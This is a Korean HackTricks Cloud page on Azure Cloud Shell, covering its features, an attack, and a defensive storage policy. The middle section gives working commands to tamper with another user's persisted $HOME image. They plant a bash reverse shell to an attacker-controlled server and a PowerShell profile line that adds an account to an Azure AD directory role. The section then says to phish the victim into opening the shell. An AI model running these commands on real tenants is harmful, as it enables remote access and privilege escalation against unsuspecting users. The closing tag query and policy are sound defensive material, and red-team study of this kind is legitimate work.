Az - Cloud Shell
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Azure Cloud Shell
Azure Cloud Shell는 Azure 리소스를 관리하기 위해 설계된 대화형 인증 브라우저 접근 터미널로, Bash 또는 PowerShell 중 하나로 작업할 수 있는 유연성을 제공합니다. 이 터미널은 비활동 상태가 20분 지속되면 타임아웃되는 임시 세션 호스트에서 실행되며, $HOME 위치에 5-GB 파일 공유를 사용하여 파일을 유지합니다. Cloud Shell은 Azure 포털, shell.azure.com, Azure CLI 및 PowerShell 문서, Azure 모바일 앱, Visual Studio Code Azure 계정 확장 등 여러 지점을 통해 접근할 수 있습니다.
이 서비스에는 권한이 할당되지 않으므로 권한 상승 기술이 없습니다. 또한 어떤 종류의 열거도 없습니다.
주요 기능
- 사전 설치된 도구: Cloud Shell에는 Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git 및 vim, nano, emacs와 같은 텍스트 편집기와 같은 포괄적인 사전 설치 도구 세트가 포함되어 있습니다. 이러한 도구는 즉시 사용할 수 있습니다. 설치된 패키지와 모듈을 나열하려면 "Get-Module -ListAvailable", "tdnf list" 및 "pip3 list"를 사용할 수 있습니다.
- Azure 드라이브 (Azure:): Azure Cloud Shell의 PowerShell에는 Azure 드라이브(Azure:)가 포함되어 있어 파일 시스템과 유사한 명령을 사용하여 Compute, Network 및 Storage와 같은 Azure 리소스를 쉽게 탐색할 수 있습니다. cd Azure:로 Azure 드라이브로 전환하고 cd ~로 홈 디렉토리로 돌아갈 수 있습니다. 모든 드라이브에서 리소스를 관리하기 위해 Azure PowerShell cmdlet을 계속 사용할 수 있습니다.
- 사용자 정의 도구 설치: 저장소 계정으로 Cloud Shell을 구성하는 사용자는 루트 권한이 필요하지 않은 추가 도구를 설치할 수 있습니다. 이 기능은 Cloud Shell 환경을 추가로 사용자 정의할 수 있게 하여 사용자가 특정 요구에 맞게 설정을 조정할 수 있도록 합니다.
- $HOME 지속성: Azure Cloud Shell을 처음 시작할 때, 연결된 저장소 계정이 있거나 없거나 사용할 수 있습니다.
- 저장소를 연결하지 않으면 세션이 종료될 때 파일이 삭제되는 일시적인 세션이 생성됩니다.
- 세션 간 파일을 지속적으로 유지하려면 저장소 계정을 마운트할 수 있는 옵션이 제공되며, 이는 자동으로
$HOME\clouddrive
로 연결되며,$HOME
디렉토리는 파일 공유에 .img 파일로 저장됩니다.
Cloud Shell 피싱
공격자가 Storage Account에서 다른 사용자의 이미지를 찾고 읽기 및 쓰기 권한이 있는 경우, 이미지를 다운로드하고, bash 및 PS 백도어를 추가한 후, 다시 Storage Account에 업로드할 수 있으며, 다음 번에 사용자가 셸에 접근할 때 명령이 자동으로 실행됩니다.
- 이미지를 다운로드하고, 백도어를 추가하고, 업로드:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
- 그런 다음, 사용자를 피싱하여 https://shell.azure.com/에 접근하게 하십시오.
클라우드 셸 자동 저장소 계정 찾기 및 금지하기
클라우드 셸에 의해 생성된 저장소 계정은 ms-resource-usage:azure-cloud-shell
태그가 붙어 있습니다. 이 태그가 있는 리소스를 생성하지 못하도록 하는 Azure 리소스 정책을 만들 수 있습니다.
태그를 통해 클라우드 셸에 의해 생성된 모든 저장소 계정을 찾으십시오:
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
클라우드 셸 저장소에 대한 태그를 기반으로 자동 저장소 계정 생성을 금지하는 정책:
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
References
- https://learn.microsoft.com/en-us/azure/cloud-shell/overview
- https://learn.microsoft.com/en-us/azure/cloud-shell/features
- https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window
Persistence
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.